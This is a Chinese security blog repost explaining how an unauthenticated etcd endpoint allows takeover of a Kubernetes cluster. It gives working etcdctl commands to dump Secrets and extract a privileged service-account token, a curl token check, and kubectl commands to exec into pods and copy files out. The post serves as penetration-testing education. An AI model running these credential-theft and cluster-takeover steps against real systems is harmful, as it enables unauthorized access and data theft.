etcd未授权到控制k8s集群

admin 2024年10月22日12:54:00评论24 views字数 2031阅读6分46秒阅读模式

点击上方[蓝字],关注我们

免责声明

本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者及本公众号团队不为此承担任何责任。

文章正文

在安装完 K8s 后,默认会安装 etcd 组件,etcd 是一个高可用的 key-value 数据库,它为 k8s 集群提供底层数据存储,保存了整个集群的状态。大多数情形下,数据库中的内容没有加密,因此如果黑客拿下 etcd,就意味着能控制整个 K8s 集群。

etcd 未授权访问

如果目标在启动 etcd 的时候没有开启证书认证选项,且 2379 端口直接对外开放的话,则存在 etcd 未授权访问漏洞。

访问目标的 https://IP:2379/version 或 https://IP:2379/v2/keys,看看是否存在未授权访问。如果显示如下,则证明存在未授权访问。

etcd未授权到控制k8s集群
image-20231222085653333

1.查找token

需要使用到 etcd 命令行连接工具:etcdctl

由于 Service Account 关联了一套凭证,存储在 Secret 中。因此我们可以过滤 Secret,查找具有高权限的 Secret,然后获得其 token 接管 K8s 集群

查找所有的secret

ETCDCTL_API=3 ./etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://172.16.200.70:2379/ get / --prefix --keys-only|sort|uniq| grep secret
etcd未授权到控制k8s集群
image-20231222090234172

从返回的数据中挑选出一个具有高权限的 role 并读取其 token,以 /registry/secrets/kube-system/dashboard-admin-token-c7spp 为例,其中 kube-system 代表 namespace、dashboard-admin 是 clusterrole

查找指定secret保存的证书和token

ETCDCTL_API=3 ./etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://172.16.200.70:2379/ get /registry/secrets/kube-system/dashboard-admin-token-c7spp
etcd未授权到控制k8s集群
image-20231222090606284

复制 token,最后的 token 为 token? 和 #kubernetes.io/service-account-token 之间的部分

etcd未授权到控制k8s集群
image-20231222112025096

如果机器上安装了 KubeOperator 存在弱口令,登录之后可以在集群中获取管控 token

etcd未授权到控制k8s集群
image-20231222113634553

如果不知道 server api 可以通过 webkubectl 获取

kubectl cluster-info

etcd未授权到控制k8s集群
image-20231222113822617

2.验证token有效性

curl --header "Authorization: Token" -X GET https://172.16.200.70:6443/api -k

3.使用 kebuctl 去执行命令

这里直接指定 token 去执行命令,或者可以通过制作配置文件指定配置文件来执行但是比较复杂

kubectl --insecure-skip-tls-verify -s https://127.0.0.1:6443/ --token="[ey...]" -n kube-system get pods

etcd未授权到控制k8s集群
image-20231222112738092

kebuctl 常用命令

# 查看所有的资源信息

kubectl get all

kubectl get --all-namespaces

# 获取pods列表

kubectl get pods -o wide --all-namespaces

-n 指定命令空间

-o wide 展示详细信息

# 执行命令

kubectl exec -it podsname -n namespace -- command

-- bash 进入 shell

# 下载文件

kubectl cp -n 命名空间 pod名字:/data/1.hprof(在pod中要下载文件的路径) (本地保存文件的路径)

学习文章

  • • K8s集群安全攻防(上)

  • • K8s集群安全攻防(下)https://xz.aliyun.com/t/12930

文章来源:https://forum.butian.net/share/3755

考证咨询

最优惠报考各类安全证书(NISP/CISP/CISSP/PTE/PTS/PMP/IRE等....),后台回复"好友位"咨询。

技术交流

原文始发于微信公众号(Z2O安全攻防):etcd未授权到控制k8s集群

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月22日12:54:00
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   etcd未授权到控制k8s集群https://cn-sec.com/archives/3298044.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息